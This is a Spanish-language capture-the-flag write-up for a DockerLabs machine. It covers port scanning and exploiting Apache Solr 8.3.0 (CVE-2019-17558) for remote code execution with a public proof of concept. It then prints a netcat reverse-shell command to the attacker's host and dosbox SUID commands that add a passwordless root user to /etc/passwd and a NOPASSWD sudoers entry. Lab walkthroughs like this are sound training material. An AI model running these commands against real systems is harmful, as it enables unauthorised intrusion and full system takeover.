Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos un escaneo de la dirección IP y podemos observar que solo tenemos disponible el puerto 80.
Usamos el navegador para observar la dirección IP y podemos ver que se trata de una imagen.
Realizamos un escaneo de la dirección IP y no encontramos nada interesante.
Descargamos la imagen, pero no encontramos nada que nos pueda servir. Por ello volveremos a realizar un escaneo de puertos, pero esta vez uno más profundo y podemos observar que tenemos un puerto más.
Al dirigirnos a la dirección podemos observar que se trata de Solr
y que tiene la versión 8.3.0
.
Aquí tenemos una breve descripción sobre que es.
Buscando información sobre como explotar la versión Solr 8.3
encontramos la siguiente página en la cual explican como funcionan y tienen una prueba de concepto que podemos emplear. https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
Al dirigirnos al blog no indican un GitHub que contiene la POC que descargaremos. Luego de descargarlo ejecutamos el archivo y podemos observar que si se ejecutó el comando que ingresamos.
Ya que podemos ejecutar comandos estableceremos una revershell, pero antes debemos iniciar nuestro listener
emplearemos el siguiente comando.
nc 172.17.0.1 1234 -c /bin/bash
Observamos que tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Realizamos un sudo -l
, pero no tenemos el password y no podemos observar así que realizamos un listado de permisos SUID y podemos observar que tenemos uno interesante.
Buscando en la página de GFTOBins podemos observar que encontramos el cómo obtener root.
Como podemos modificar archivos podemos agregar un usuario y lo haríamos de esta manera debemos tener en cuenta que usamos >>
en vez de uno, ya que si lo hacemos con uno reemplazaríamos todo el archivo por el texto que ingresamos.
LFILE='/etc/passwd'
/usr/bin/dosbox -c 'mount c /' -c "echo gm4tsy::0:0:root:/root:/bin/bash >>c:$LFILE" -c exit
Pero tratamos de ingresar como el usuario pero no nos permite
Ya que no podemos agregar usuarios o modificar el passwd
lo que haremos es agregar al usuario ninhack
al archivo sudoers
y pueda obtener root sin necesidad de un password. Para ello usaremos el siguiente comando.
LFILE='/etc/sudoers.d/ninhack'
/usr/bin/dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL) NOPASSWD: ALL >c:$LFILE" -c exit
Una vez ingresado si ejecutamos sudo su
podemos observar que obtuvimos root. De esta manera culminando esta máquina.
Intento fallido
ya que al crear el usuario no podemos acceder crearemos un archivo nuevo del passwd
y retiraremos la x
que representa el password de root para luego reemplazarlo con el archivo original, pero al hacerlo el sistema bloquea varios comandos y no es posible continuar y debemos reiniciar la máquina.
LFILE='/etc/passwd'
/usr/bin/dosbox -c 'mount c /' -c "echo '$(cat passwd)'>c:$LFILE" -c exit